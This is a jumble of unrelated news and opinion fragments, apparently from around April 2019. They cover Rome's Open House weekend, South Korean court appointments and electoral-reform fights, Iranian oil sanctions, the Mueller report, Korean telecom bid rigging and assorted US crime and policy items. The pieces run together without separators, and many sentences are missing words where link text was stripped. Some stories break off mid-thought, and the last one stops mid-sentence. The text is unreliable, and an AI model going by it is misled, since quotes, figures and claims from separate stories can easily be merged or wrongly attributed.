ofwhich involves more than 200 of Romes museums, libraries, galleries, studios, academies, palaces and contemporary buildings - to which there is normally limited public access - opening free of charge over the weekend of 11-12 May.The theme of this year's edition is Utilitas, or utility, which organisers say is a fundamental classical theme of architecture, along with Firmitas (solidity) and Venustas (beauty).Since its launch in 2012, the annual initiative dedicated to Romes variedhas opened up hundreds of interesting, important and sometimes off-limits buildings.Highlights of the eighth edition include guided tours of the the unfinishedin Tor Vergata; the; thein Tor di Quinto; the- the headquarters of fashion house Fendi ; thebuilding in Trastevere; andtours in Ostiense.The programme includessuch as the French Academy at Villa Medici, the American Academy in Rome on the Janiculum Hill and the Danish Academy in Valle Giulia, as well assuch as the Angelica, Hertziana and Lateranense; andand galleries such as AlbumArte, Atelier Montez and Contemporary Cluster.There are also guided tours ofsuch as the Food and Agriculture Organization (FAO) and John Cabot University; and lesser-knownsuch as Museo Mario Praz, Museo Boncompagni Ludovisi and Museo Hendrik Christian Andersen.The Rome version of the worldwide Open House initiative, which began in London in 1992, is co-ordinated by non-profit cultural association Open City Roma and its 500 volunteers.Booking is required for many of the tours and children's workshops. For full programme see Open House website 1 May. The Almost Corner Bookshop in Trastevere presents Eightball, the latest book by Rome-based American author Elizabeth Geoghegan, on Wednesday 1 May at 18.30. "Geoghegans eloquently told stories examine themes of loneliness, sex, addiction, and grief through the lens of unfamiliar cultures and languages. Part love stories, part travelogues, these are tales of world-weary characters, almost all of them women with appetites. They are at home everywhere and nowhere, stopping for a time in Rome, Seattle, Boulder, Bangkok, or Chicago." Elizabeth Geoghegan. Photo Lovisa Stephenson "Wry humor and a ferocious authenticity inform their missed cues, bar scenes, bed fumbles, and picturesque ramblings. Geoghegan bravely navigates the rough terrain of the privileged and the chronically unloved with exquisite skill, impeccable pacing, and literary turns of phrase." For details see Facebook event page. At the moment, the primary disruption is in Iran. It exported about 2.3 million barrels of oil a day at its peak. But production has dropped to 1.3 million and is headed significantly lower because of Trump administration sanctions intended to scare off Irans remaining customers and drive its oil exports down to zero. (Trump wants Iran to stop supporting terrorists, to halt missile development and to renegotiate parts of the international nuclear treaty that the United States withdrew from last year.) President Moon Jae-in, third from right, greets justices Lee Mi-sun, left, and Moon Hyung-bae, right, before awarding appointment certificate as the Constitutional Court justices at Cheong Wa Dae in Seoul, Friday. / Korea Times photo by Ryu Hyo-jin By Kim Jae-heun Despite strong protests from conservatives, President Moon Jae-in moved ahead with the appointments of two new constitutional justices to make the top court more liberal. In addition, the decision is raising speculation that the top court's future rulings on hot-button issues such as abolishing the death penalty and protecting homosexual military conscripts from persecution may tilt to progressive stances. During his visit to Central Asia last Friday, Moon appointed Lee Mi-sun and Moon Hyung-bae to the nine-member bench of the Constitutional Court, increasing the number of its non-conservative justices to six, the number needed to achieve a two-thirds majority. "President Moon did not want to leave justice seats at the Constitutional Court empty, not even for a day, and he approved the designation of two justices online," said Yoon Do-han, senior presidential secretary for public relations. The terms for former justices Seo Gi-seog and Cho Yong-ho have officially ended as of last Thursday and the two new justices took over the seats immediately, which angered opposition parties, especially the Liberty Korea Party (LKP). Moon did not wait for the National Assembly's confirmation hearing report, which isn't mandatory for the President to appoint the two justices. But it is expected to bring a clash between the ruling Democratic Party of Korea and the opposition parties. According to the LKP, President Moon increased justices sympathetic to his administration in the Constitutional Court to six out of nine, which is enough to rule a law unconstitutional. The LKP further pointed out that five among them were members of either the Society for Research on Our Law or Society for International Humanitarian Law, which are study groups of progressive judges. Cheong Wa Dae claimed the President tapped the two justices to diversify the top court. But the LKP refuted that only 20 percent of judges in the country study in the two progressive groups and they have taken over half the justice seats at the Constitutional Court. "The government is trying to send laws it doesn't like to the top court and rule them unconstitutional," Rep. Na Kyung-won, floor leader of the LKP, said Friday morning. "It looks like Moon intends to dominate the Constitutional Court by appointing government-friendly justices there." Currently, six out of nine Constitutional Court justices are classified with a "progressive tendency" as they were tapped by President Moon, the ruling Democratic Party of Korea and Supreme Court Chief Justice Kim Myeong-su, who was also appointed by the President. According to the law, the President and chief justice each appoint three judges and the National Assembly elects three to fill the full nine seats at the Constitutional Court. This is to avoid a concentration of power among the legislative, executive and judicial branches. Justices Lee Young-jin and Lee Seon-Ae are considered moderate and only justice Lee Jong-seok, who was recommended by the LKP, is categorized as conservative. Eight out of nine were named under the Moon administration as former President Park Geun-hye was impeached before her term ended. There has been no case where this many justices were appointed under one president. The Constitutional Court overturned the abortion ban after 66 years on April 11. There are many controversial cases submitted to the top court including the death penalty, punishment of homosexual activity in military conscripts and age requirements for elections. The court is also reviewing a trial whereby wartime sex slaves have requested to retract a compensation agreement signed between the Japanese government and former President Park Geun-hye's administration. A number of legal experts believe justices' progressive tendencies could affect the results of the Constitutional Court's rulings. Meanwhile, the LKP said it will hold a protest against President Moon, calling for him to dismiss senior presidential secretary for civil affairs Cho Kuk and senior presidential secretary for personnel affairs Cho Hyun-ok. Thats the choreographer-as-God model. But some choreographers have turned to a more collaborative process, using dance dramaturges to help work through the creation and staging of a dance. The practice is well established in Europe and Canada and has its roots in the theater world, which has a long-standing tradition of dramaturges, who conduct research on an existing play or assist and support a working playwright. Dramaturges may read and edit drafts of a script, take notes in rehearsals, offer informed feedback and write program notes. Hawaii Five-O (CBS at 9) Adam tries to get to the bottom of the murder of an FBI agent who was undercover. National Assembly Speaker Moon Hee-sang, center, trades verbal jabs with an unidentified Liberty Korea Party lawmaker at the National Assembly, Wednesday. Yonhap By Kim Yoo-chul The country's main opposition Liberty Korea Party's (LKP) strong opposition for the ruling Democratic Party of Korea's (DPK) determined push for a needed electoral reform bill is due to concerns about losing influence. With the 2020 general election deadline looming, the DPK has submitted proposals outlining a vital expansion of proportional representation, which would both restrain endemic regionalism and produce a National Assembly more reflective of the electorate. The DPK partnered with three other opposition parties to pass bills to establish an independent unit designated to investigate alleged misconduct, irregularities and crimes by high-ranking government officials in addition to the electoral reform bill. These bills must be placed on a legislative fast track to ensure the adjustments are in place for the 2020 general election. But the LKP believes the proposed election bill will be a huge plus to the ruling party, as well as the minor Justice Party to gain more seats. Specifically, electoral reform has long been a key issue of debate, with presidents from the ruling and opposition sides raising the issue in the past. But the responsibility lies with the legislature, not the executive, to negotiate and develop a modified electoral model that is politically viable and constitutionally sound, said political analysts in Seoul. As increasing the relatively low ratio of proportional seats in the Assembly is at the central point of the reform proposal, it will provide a greater chance for minor parties to have a consistent political presence. This is the key reason behind the minor parties' "strategic support" for the DPK-led reform bill proposal. But the proposal assigns proportional representatives to one of six designated regions according to the party's percentage of votes in that region, and the LKP raises concerns about losing its support from its traditional support bases. The LKP, formerly known as the Saenuri Party, won 90 percent of seats in the conservative stronghold of South Gyeongsang Province, Busan and Ulsan in the 2012 general election despite getting just over 50 percent of votes. Also, the main opposition is arguing the envisioned investigative authority would be full of progressive lawyers working under the order of President Moon Jae-in. Rather than cooperation, the LKP is calling for senior presidential secretary for civil affairs Cho Kuk to step down from the position. Cho is considered one of the top confidants of President Moon. LKP lawmakers traded verbal jabs with National Assembly Speaker Moon Hee-sang over the DPK-led coalition force's move to fast-track the reform bill. Gloria Contreras Edin, an immigration attorney in Minnesota, said she had one undocumented client whose obligor was on the brink of dying of cancer. Before the man died, her client wheeled him into her office so he could sign over the bond responsibilities to someone else. Her client, Anibal El Verengue, a Guatemalan who lives in Minnesota and was ordered removed in 2015 for entering the country illegally, said he would not have known to do this if he did not have an attorney to advise him. Judge Shelley M. Richmond Joseph, 51, and Wesley MacGregor, 56, a former trial court officer at the Newton, Mass., court where the judge sits, helped the man wanted on fugitive charges in Pennsylvania and for narcotics possession avoid being picked up by an officer of Immigration and Customs Enforcement, according to an indictment filed by the U.S. attorney for Massachusetts. Even the chapter on the dark age of the cocktail (the 1970s and 1980s) includes recipes for some of the eras notorious drinks. It must be the first cocktail book ever to accompany one of its recipes (for the Slow Screw, a riff on the Screwdriver that spawned a whole lineup of bad double-entendred drinks) with such a clear DDIY (dont do it yourself): Do not make this drink unless you truly want to channel the era, and you have to find another use for your bottle of sloe gin. Browns own contribution to the dark ages recipes is the Stay Off the Grass, a riff on the minty Grasshopper that, while sweet, drinks far better than most of the other drinks that oozed out of the disco era. Its almost impossible to know how to deal with a candidate who almost gets it, but not quite. A different kind of candidate, who not just misses the point but willfully ignores it, is so much easier to dismiss. With a candidate like Biden, though, who has made serious efforts on issues of sexual assault and gender equality there are conversations to be had, about babies and bathwater, about allowing for human foibles in the middle of systemic progress. One is tempted, at times, to sit a man like Joe Biden down and patiently explain that youre yelling at him because you think he has the capacity to change. There are other politicians who are beyond that reach. Then he leads us through a gate, behind the tanks, and into a farm. Next to a display of antique agricultural machinery, a group of chickens mills around beneath a canopy of olive trees, which also shade a big pig. Off to the right are vineyards that stretch through the hills as far as we can see. And they continue beyond that, says Francesco, who notes that in the next valley over, they grow vermentino, a white varietal thats normally found by the sea. He encourages us to plan another trip to visit Cantine Leonardos nearby villa, where there are plans to install a museum dedicated to Leonardos connections to viticulture, forged during his Tuscan childhood. The first -mile through forest was extremely challenging. The vertical climb was far harder than any part of the Sentinel Dome ascent. We stopped multiple times to catch our breath. The fellow travelers we encountered every 10 to 15 minutes two and threesomes to whom we would nod knowingly looked far heartier than us: They had poles, hats with ear flaps, insulated non-hipster water bottles. And by the looks of things, we had made very little progress toward the actual dome. But then, as inexplicably as the back entrance to Sentinel had been, the path leveled out, we caught our second wind and less than a quick, flat mile later we could see that we were within one good push of the top. Upon summiting Lembert which was far more vast than Sentinel we found maybe a dozen climbers on the massive hunk of granite. Three years later, the GAO identified vulnerabilities in the HUBZone application process nationwide that it said made it susceptible to fraud and abuse. Those vulnerabilities led to at least 10 cases of HUBZone firms in the District that misrepresented their eligibility, according to the GAO. The SBA removed those firms from the program. The parents lawsuit alleged that the teacher whom The Washington Post is not naming because he has not been charged with a crime and was not named as a defendant in the lawsuit took 3- and 4-year-old boys and girls to remote areas on campus and sexually abused them. At least seven toddlers were abused by the teacher, who is named in the lawsuit, according to court documents. Hanington was a Milken Educator Award winner in 2011 and has served as a mentor to teachers at her school and supported others outside her building, according to school officials. She previously taught at Cabin John, Lakelands Park and Gaithersburg middle schools. Over and over again, we keep getting the short end of the stick, said Chrystal Puryear, a teacher at Neval Thomas Elementary, a school in Northeast Washington whose students come mostly from low-income families. The budget gets cut; people are let go; we are expected to do the same with less. Rep. Na Kyung-won, center, floor leader of the main opposition Liberty Korea Party, gets disappointed after listening to the fact that four other political parties have submitted controversial reform bills which her party has been opposing for at the National Assembly, Friday. / Yonhap LKP continues face-off with four parties By Park Ji-won The ruling Democratic Party Korea (DPK) and three minor parties submitted four reform bills to the National Assembly Friday evening to fast-track them. The main opposition Liberty Korea Party (LKP) strongly protested the DPK-led coalition force's move. Using the Assembly's electronic system, the four parties including the Bareunmirae Party (BMP), the Party for Democracy and Peace (PDP) and the progressive Justice Party submitted the bills, according to party officials. It's the first time in South Korean political history that bills have been submitted electronically. The key points of the submitted bills include plans to increase the number of proportional representation seats in the Assembly, establish a special investigative body to look into corruption allegations involving high-ranking government officials and their families, and expand the police's independent investigative authority. The four parties plan to hold committees on judicial and political reform to vote on whether to fast-track the bills. However, it is uncertain whether they would be able to hold their meetings as the LKP is strongly resisting the move by conducting sit-in protests inside the Assembly. Tensions are high between the DPK and the LKP, resulting in tense physical confrontations in the National Assembly. The LKP has been opposing the attempt to fast-track the bills as it was carried out without its approval, claiming it is against parliamentary democracy and aims to extend the current "leftist regime." A group of Bareunmirae Party (BMP) members also held a sit-in protest on Thursday opposing its leadership's decision to push for the attempt. Adding to sit-in protests blocking the Assembly's offices, between Thursday and Friday, the LKP members locked Rep. Chae Yi-bai of the BMP in his office for six hours to prevent him from participating in a key committee meeting to fast-track bills. An LKP member also allegedly broke a fax machine which accepts proposals to be registered. The LKP stepped up its protests after National Assembly Speaker Moon Hee-sang approved the BMP leadership's request Thursday to replace its lawmakers on related committees with other lawmakers who are in favor of passing the reform measures. The law on fast-tracking bills was initially made to prevent bills from being held up in the Assembly for too long after failing to win bipartisan support in 2012 when the Saenuri Party, the predecessor of the LKP, took the majority of the Assembly. The ruling DPK and three opposition parties agreed Tuesday to fast-track the bills after months of discussions. If the bills are approved by the special committees, they will be put to a vote in a National Assembly regular session within 330 days. If the reform bills take effect, next year's general election will be carried out under a revised Election Law with an increased number of proportional representatives. Leaders of the ruling DPK and the main opposition LKP exchanged barbs, threatening to stop each other's activities. Rep. Lee Hae-chan, chairman of the DPK, said "The LKP took violent action at the Assembly which I have never seen before in my career as a lawmaker since 1988." Stressing that those activities are against the law, Lee pledged he will push for fast-tracking the bills to make a new order in the country by working together with his party members. The DPK later filed a complaint with the Seoul Central District Prosecutors' Office, accusing 18 LKP lawmakers and its secretaries for violating the Assembly Law and Criminal Law while sabotaging the four parties' moves to pass the bills. "The DPK's move was illegal. South Korea is not North Korea. It is hard to understand continuing to change people to get approval," said Rep. Na Kyung-won, floor leader of the LKP. "They violated the Assembly Law and customs first. So our protest activities against them are totally acceptable." The two incidents at issue occurred in February 2017. According to court records, ICE agents stopped men living in South Arlington and Annandale, Va., identified themselves as police, and asked them about a fugitive named Santo Del Cid. After learning nothing, they demanded to go into the mens homes and arrested several for lacking proper identification. The United States has always been kind to me, and though it was not my intention to harm the American people, I did that by not notifying the Attorney General of my actions. I deeply regret this crime, said Butina, dressed in a green prison uniform and speaking clearly but emotionally. Please accept my apology and allow me to begin again. The trial boards had long been made up of three sworn officers. Starting next fiscal year, Baltimore will have five voting members on each board. They will be made up of three law enforcers and two civilians. We have embraced the party. Its time for the party to embrace us, he said. At some point, its not good enough for us to hold the number two and the number three positions. At some point, the party has to support us, has to support our community and know that we can be leaders as well. This action is an important step in moving the Health System forward during this critical time and we remain focused on delivering exceptional, safe, quality health care across Maryland, said Ashworth, senior vice president for UMMS and associate dean at the University of Maryland School of Medicine. We thank Mr. Chrencik for his leadership, service and commitment during his 35 years of executive employment at UMMS. Sometimes described as Vietnams Vietnam, the Cambodian quagmire ultimately claimed the lives of at least 55,000 Vietnamese troops, the deputy commander of Hanois forces in the country told reporters in 1988, a year before the Vietnamese finally withdrew. In sharp contrast to the U.S. experience in Vietnam, Hanoi left behind a regime that not only survived its departure but has endured for three decades, while suppressing opposition and steadily tightening its grip on power. We boycotted everything we could in the manufacture of weapons, she recalled in 2013 to the magazine of the General Union of Workers, a Spanish trade union. We used sabotage to produce about 10 million faulty bullets and thousands of unusable artillery shells. We threw everything into the production line flies, cockroaches, oil, our own spit. The Nazis called us Snow White and the Seven Mechanics because they constantly had to come to fix our machines. Born and raised near 15th and Swann streets NW, Coates had been known as the genius of the family during grade school. But by his teenage years, his life had veered toward trouble in the streets as he left behind classes at Cardozo High School and later found himself graduating from high school behind prison walls at Lorton, his family said. A troubled life led to years of incarceration, including a long stint for armed bank robbery, according to his family. Two criminal complaints say the real estate agent obtained confidential information on renters from an employee at the D.C. Department of Housing and Community Development and additional personal details from the FBI agent, who is accused of tapping a database restricted for use by law enforcement. The real estate agent is accused of using the personal information to solicit lucrative real estate deals in areas of the city that are gentrifying, such as Shaw and Columbia Heights, where property often sells quickly and for large profits. By Francis Wilkinson Whether or not the U.S. president has been compromised by a hostile foreign power is one thing the Mueller report might have answered. Yet 448 pages of documentation and analysis of the many connections between the presidential campaign of Donald Trump and various Russians linked to their country's government do little to illuminate what inspires Trump's public subservience to Russian President Vladimir Putin. Nor does the report by Special Counsel Robert Mueller reveal what inhibits Trump from addressing the Russian attack on the 2016 U.S. election or protecting against future attacks. The report doesn't even tip the scales much. After the election, when questions persisted about possible links between Russia and the Trump Campaign, the President-elect continued to deny any connections to Russia and privately expressed concerns that reports of Russian election interference might lead the public to question the legitimacy of his election. That's the gist of the "legitimacy" theory. The idea is that the terminally insecure Trump has fixated on the Russia investigation because he fears it makes him appear illegitimate. Trouble is, Trump has always seemed less concerned with disputing the sabotage that advanced his candidacy than disputing that the sabotage was specifically Russian. As he said in April of 2017, it "could've been China, could've been a lot of different groups." Why not Russian? Why never Russian? Here's a scene from the Mueller report about a briefing of Trump that included deputy national security adviser K.T. McFarland. During the briefing, President-elect Trump asked McFarland if the Russians did "it," meaning the intrusions intended to influence the presidential election. When McFarland answered yes, Trump "expressed doubt that it was the Russians." So Trump can acknowledge that "it" happened that his election was tainted by an act of sabotage he just can't acknowledge, either in public with Putin or in private with his own aides, that the sabotage was Russian. The Mueller report gives readers few tools for understanding why. It documents a presidential campaign that was lousy with Russian contacts, and equally lousy with lies denying such contacts existed. Russians no doubt targeted the campaign in part because it was overstocked with inexperienced, incompetent and unethical staff. But was it also compromised in a more profound manner? Noting Trump's myriad efforts to obstruct the Mueller investigation, Marcy Wheeler writes on her national security blog Empty Wheel: But the most significant thing that doesn't show up in this report is whether Trump was undercutting the investigation as a favor to Russia, reportedly one of the concerns (Deputy Attorney General) Rod Rosenstein had when he first hired Mueller. The Mueller report explores the 2016 softening of the Republican platform toward Russian aggression in Ukraine, but the narrative manages to sidestep the central question. On July 11, 2016, a GOP convention delegate submitted a proposed platform amendment supporting armed support for Ukraine in its conflict with Russia. A Trump aide named J.D. Gordon watered down the proposal. Here's how he explained the events to the special counsel. Gordon stated that he flagged this amendment because of Trump's stated position on Ukraine, which Gordon personally heard the candidate say at the March 31 foreign policy meeting namely, that the Europeans should take primary responsibility for any assistance to Ukraine, that there should be improved U.S.-Russia relations, and that he did not want to start World War III over that region. Gordon told the Office that Trump's statements on the campaign trail following the March meeting underscored those positions to the point where Gordon felt obliged to object to the proposed platform change and seek its dilution. So the platform was softened regarding Russian aggression to make the platform consistent with Trump's position. But why was Trump's position so sympathetic to Russia in the first place especially after it was known that Russia had hacked American institutions? Despite granular details that confirm the operational madness of Trumpworld, the Mueller report leaves us not very far from where we started. It tells us that the dossier compiled by the former British intelligence officer Christopher Steele was wrong in placing Trump lawyer Michael Cohen in Prague for a meeting, which further undermines the dossier's already shaken credibility. But it doesn't parse the document or address its thesis of compromise. We merely learn more of what we already knew: We have a president who was elected with the aid of coordinated Russian cyber and disinformation attacks. Once elected, the president refused to acknowledge the nature of the attacks and resisted punishing the aggressor. He has done nothing to prevent a recurrence. He has publicly sided with the aggressor against his own intelligence agencies. And he repeatedly sought to undermine the investigation into the attacks. (The Mueller report all but shouts that Trump obstructed justice.) As Trump's one-time Republican rival Jeb Bush pointed out, Trump was a "chaos candidate" who was destined to be a chaos president. Yet Trump's chaos nonetheless has a consistent Russian vector. And as we near 2020, Trump and Putin once again share a dangerous confluence of interests. Francis Wilkinson writes editorials on politics and U.S. domestic policy for Bloomberg Opinion. He was executive editor of the Week. He was previously a writer for Rolling Stone, a communications consultant and a political media strategist. His commentary was distributed by Tribune Content Agency, LLC. Authorities have not detailed a motive in the case, but the killings followed an acrimonious divorce and custody dispute with her ex-husband. All four family members were scheduled to relocate to Missouri around the time of the slayings, a move Youngblood did not want to make, according to divorce records. The savings would come from ending a number of leases, having more environmentally friendly buildings and leasing out its current headquarters for 99 years, Albert said. That long-term lease would have the potential to generate sustained revenue for Metro to support bus and rail operations, help keep fares affordable, and contribute to the transit agencys long-term financial stability, Metro said. For years, transplant hospitals generally had first shot at organs donated in their areas. The new policy, adopted last December, offers livers to the sickest patients as far as 500 nautical miles from the donor. It was approved after a lawsuit was filed in New York by a group of patients who said they were waiting longer for livers than people in other parts of the country who were less ill. The government, concerned that the policy in place was illegal, ordered transplant authorities to consider a better approach. The decisions do not resolve the legal merits of the cases, but are based on the judges determination that the challengers are likely to prevail on the merits after a trial and that, in the meantime, allowing the restrictions to take effect would cause irreparable harm to the programs and those they serve. Two Koreas have long way to go for peace, prosperity Saturday will mark the first anniversary of a landmark summit between President Moon Jae-in and North Korean leader Kim Jong-un. Yet the anniversary comes without much fanfare due in large part to the stalled denuclearization talks between Pyongyang and Washington. Given all the geopolitical situations surrounding the Korean Peninsula, pessimism prevails over optimism. The reason is because Kim and U.S. President Donald Trump show no signs of breaking the deadlock in the negotiations over the North's commitment to give up its nuclear program. Simply put, the two Koreas still have a long way to go before bringing peace, reconciliation and co-prosperity to the peninsula. To be sure, both sides can never establish a permanent peace regime without achieving the North's complete, verifiable and irreversible denuclearization. Of course, inter-Korean ties have made significant progress since Moon and Kim held their first summit at the truce village of Panmunjeom on April 27, 2018. They issued the so-called Panmunjeom Declaration, in which they agreed to work toward the complete denuclearization of the peninsula, improve bilateral relations, reduce military tensions and boost cross-border exchanges and cooperation. The inter-Korean summit opened the way for the historic summit between North Korea and the U.S. Kim met Trump in Singapore in June, reaching a broad though too vague agreement on the denuclearization of the peninsula. Then Moon visited Pyongyang in September for his third summit with Kim. Both leaders even traveled to the top of Mount Paektu, showing off their bromance to the world. The two Koreas opened a joint liaison office in the North's border town of Gaeseong, where the shut-down inter-Korean industrial complex is located. They also held a groundbreaking ceremony to reconnect the railways and roads in December. Since then, however, Seoul and Pyongyang have not moved any further toward real rapprochement and cooperation, despite President Moon's strenuous efforts for active engagement with the North. The collapse of the second Kim-Trump summit in Hanoi in February has dealt a serious setback to not only the nuclear talks but also the inter-Korean detente. The blame should fall on the Kim regime which is apparently interested more in sanctions relief than denuclearization. Kim cannot evade responsibility for making undue demands for the lifting of major U.N. sanctions in return for dismantling only the Yongbyon nuclear facility. Trump turned down Kim's demand, while calling for a "big deal," under which all sanctions remain in place until Pyongyang achieves full nuclear disarmament. Against this backdrop, Kim held a summit with Russian President Vladimir Putin in Vladivostok, Thursday. He apparently played a Russia card to increase his diplomatic leverage to weaken the international sanctions and turn the tide to his advantage. However, the summit has seemed to complicate the denuclearization talks as Russia revealed its intention to engage in the process. Putin also hinted at resuming the suspended six-party nuclear talks involving the two Koreas, the U.S., China, Russia and Japan. In this regard, concern is growing that Kim may try to buy time to delay denuclearization or possibly become a nuclear weapons state. It is anachronistic for him to do so. Kim should keep in mind that he cannot revive the North's moribund economy without abandoning its nuclear arsenal. Experts said other states could look to use their constitutions to assert wide-ranging protections from antiabortion laws, but states also could use the Kansas decision to legitimize strict enforcement of abortion laws if similar rights are not codified in state constitutions. It also could spur efforts to seek constitutional amendments as Culp plans to do that limit abortion rights. Tennessee, for example, amended its constitution in 2014 to eliminate that right, and the U.S. Supreme Court declined to hear a challenge to the measure last year. Mayor among 3 slain in Mexico's Veracruz state: Authorities in Mexico said a mayor and two others were fatally shot as they were traveling in a municipal vehicle in the coastal state of Veracruz. Prosecutors said Mixtla de Altamirano Mayor Maricela Vallejo, her husband and her driver came under fire while traveling on a highway. A day earlier, a mayor was slain in the southwestern state of Michoacan. Eduardo Otlica Aviles of Nahuatzen was kidnapped and his body found hours later. Basically, the retirement livelihood of hundreds of thousands of working-class Americans is in jeopardy. So, too, are many businesses for which pension obligations have become a growth-stifling burden. A meltdown must be avoided, but so, too, must a massive federal bailout that would soak the rest of society, including many taxpayers who do not even have pensions. Between those poles lie inevitable shared sacrifices: a significant but finite injection of public funds, offset by limited benefit reductions, conditioned on long-term reforms to stabilize the system. Consider, for a moment, what the growing talk of impeachment among Democrats sounds like to the tens of millions of people who voted for President Trump. Many of them supported him because they felt ignored, mocked and condescended to by the countrys urban, educated and cosmopolitan elites especially lawyers and journalists. So what happens when their guy gets elected? These same elites pursue a series of maneuvers to try to overturn the results of the 2016 election. It would massively increase the class resentment that feeds support for the president. It would turn the topic away from his misdeeds and toward the Democrats overreach and obsessions. And ultimately, of course, it would fail two-thirds of this Republican-controlled Senate would not vote to convict him allowing Trump to brandish his acquittal as though it were a gold medal. The American people justifiably want U.S. troops to come home. The United States has devoted an exorbitant amount of blood and treasure to this conflict, often fueled by the mistaken belief that a Western-style democracy could be established in a country that has never experienced one. We can achieve this long-sought goal by being tough at the negotiating table and finally allowing the United States talented diplomats to take the lead after so many years of fighting. Over the past decade, the court has allowed dark money to poison our elections via Citizens United and opened the floodgates for widespread voter suppression by gutting Section 5 of the Voting Rights Act in Shelby County. Along with the census case, the court will also decide this term whether to curtail partisan gerrymandering or to allow politicians to make themselves immune to the will of the voters. If there are institutionalists on the court concerned with the perception of their important body, it is time for them to act like it. Otherwise, we are on the verge of a profound, ill-advised reshaping of our democracy that would allow a minority party to exert majority control for the next decade and beyond and would risk the reputation of one of our most sacred institutions. KT office in Gwanghwamun, Seoul / Yonhap By Nam Hyun-woo KT, LG Uplus, SK Broadband and Sejong Telecom were fined for rigging bids for state projects, according to the antitrust agency Thursday. The Fair Trade Commission (FTC) said it has fined the four companies a combined 13.33 billion won ($11.5 million) for rigging 12 biddings for government projects to set up dedicated lines between April 2015 and June 2017. The FTC will file complaints against KT with the prosecution. Of them, KT was fined the heaviest with 5.74 billion won, followed by LG Uplus 3.9 billion won, SK Broadband with 3.27 billion won and Sejong Telecom 417 million won. The watchdog said the companies have colluded to determine the winner of each bidding before the actual process began. Then, the others either played no role or skipped the bidding so that the predetermined winner could easily win the contract. The winner then signed line leasing contracts with the other companies and paid line rental fees, regardless of whether it used the line or not, in return for their help in the bidding. In five biddings, winners paid 13.2 billion won without using the leased lines, according to the FTC. The biddings they rigged include some key government projects such as the backbone network connecting five government complexes and 17 cities and provinces and the dedicated line connecting the Korea Meteorological Administration with the National Center for Meteorological Supercomputer. In the bidding for the backbone network project in April 2015, KT won the 24.93 billion won contract, while LG Uplus and SK Broadband did not participate in the bidding to support KT. In return, KT signed a 4 billion won line lease contract with LG Uplus, and LG Uplus signed a separate 2.2 billion won lease contract with SK Broadband so they could share the reward from KT. The FTC said the companies rigged the biddings to prevent a price drop and save costs from changing facilities between different firms. "This is a stern measure against info-tech companies which have long been taking rigging for granted," an FTC official said. "The FTC will enhance its monitoring on colluding and bid rigging and help government institutions and public institutions to claw back unfair profits." Unfortunately, the first family remains in denial about this. President Trump, who benefited from the interference, says the investigation was a witch hunt and a hoax. His son-in-law, Jared Kushner, dismissed it as a distraction at a panel sponsored by Time magazine on Tuesday. He said, You look at what Russia did you know, buying some Facebook ads to try to sow dissent and do it and its a terrible thing. But I think the investigations, and all of the speculation thats happened for the last two years, has had a much harsher impact on our democracy than a couple of Facebook ads. He added, Quite frankly, the whole thing is just a big distraction for the country. Because these shootings are happening at our front doors, I am challenging our churches. The time has come for us to focus less on those petty issues that divert our attention and focus on our young people. We are involved in a battle for their very souls and for the soul of our community, and each one of us is summoned to be a part of this battle. If you are not directly on the battlefield working with our youths and in the community, then we need your prayers and your resources. Restrictions on advertising arent just inconvenient but also can be crippling to restaurateurs who are seeking to build their brand identity and just want to get the word out to potential customers. Profit margins in the restaurant business are notoriously slim, so if youre a business owner in this industry, you want to be able to maximize any advantage you can get. Heres the point: The way we tell our story matters and shapes what we become. For too long, Baltimores narrative has been narrowly focused on what is wrong. This has unwittingly encouraged too many of us to believe that theres little we can do to make a difference. So, we sit passively on the sidelines and let others tell the unbalanced stories about Baltimores bad news. But for the sake of everyone who calls Baltimore home and for the organizations that have chosen to be based here and are working tirelessly to make meaningful change, I challenge us to choose a narrative that goes beyond what is wrong and instead embraces what is right, what offers hope and what makes us proud. Our beloved Baltimore has so much promise. Lets all start telling that story, too. The playbook is simple: China, via the state-owned CRRC Corporation Limited, enters a market at the local level, subsidizes the assembly of Chinese rail cars with Chinese parts and components and supplies them to cash-strapped transit agencies at bargain-basement prices. In the process, Chinese companies bring a small number of assembly jobs to the United States but keep the manufacturing, technology, and research and development locked down in China. CRRC made headlines when it announced plans to build a 42,500-square-foot facility in Springfield, Mass. Though hiring fewer than 200 employees, CRRC has worked tirelessly to create the facade that its bringing manufacturing back to the city. Its not. Just like CRRCs presence in Chicago, the Massachusetts CRRC facility is nothing more than an assembly plant for transit rail parts made in China and then shipped to our shores. Missouri voters approved a plan that would rely on a professional state demographer to draw lines that would not be warped in favor of one party or another. It was not perfect, but it was better than what Republicans wanted: a system in which the parties have more control and in which partisan fairness is not a focus. More to the point: Once Missourians embraced a different approach, the debate should have been over. Nevertheless, with supermajorities in both chambers of the statehouse, the GOP can ram the plan through. In recent weeks, the Solomon R. Guggenheim Museum in New York, the National Portrait Gallery in London and the Tate museums, also in London, have all announced that they will no longer accept gifts from the Sackler family. Some Sackler family members are owners of Purdue Pharma, the maker of OxyContin, and have been accused of facilitating the national opioid epidemic. Purdue has denied allegations such as those made by Massachusetts Attorney General Maura Healey . But its probably only a matter of time before the Metropolitan Museum of Art, Harvard University and other institutions make similar announcements as well. For context, despite sob stories suggesting that the typical young grad is a barista with $100,000 in debt, most students borrow much less and go on to earn much more. Among students who first enrolled in college in 2003, over the subsequent six years, 44 percent hadnt borrowed at all and another 25 percent had borrowed less than $10,000. Just 2 percent had borrowed more than $50,000. The Hansol Paper mill in Seocheon County By Nam Hyun-woo Hansol Paper CEO Lee Sang-hun. In the end, Biden did not summon any of the women, and little attention was paid to Wrights deposition, which was submitted to the written record in lieu of her testimony. Biden framed this as Wrights decision, and the two signed a letter that stated that if she wanted to testify in person, he would honor her request. Wright, under subpoena until that point, saw it as Bidens decision whether to call her. The Justice Department official said prosecutors would have had to prove not just that Trump wanted to shut down the investigation but that he did so with corrupt intent. The official said there was some evidence that Trump wanted to end the investigation because of the effect it was having on his presidency, rather than to cover up another crime, and noted that Mueller did not conclude Trump coordinated with Russia to interfere in the election. Trump, pressed on whether he stood by his comments that there were very fine people on both sides, told reporters, If you look at what I said, you will see that that question was answered perfectly. And I was talking about people that went because they felt very strongly about the monument to Robert E. Lee, a great general. Trump also cited the case of Sgt. Bowe Bergdahl, who in 2009 walked off a U.S. military outpost in eastern Afghanistan and spent the next five years in enemy captivity. He was released in 2014 as part of a prisoner exchange for five Taliban members who were being held at the detention center at Guantanamo Bay. Trump doubled down on the nickname he chose for former vice president Joe Biden, Sleepy Joe. The president didnt have anything to back up that moniker, other than to say, Hes a pretty sleepy guy, and that he wouldnt be able to do the job, claiming the veteran politician couldnt hold his own with the likes of Chinese President Xi Jinping. But Trump is unlike any predecessor in his lifelong dependence on the court system as a rhetorical club to wield over his 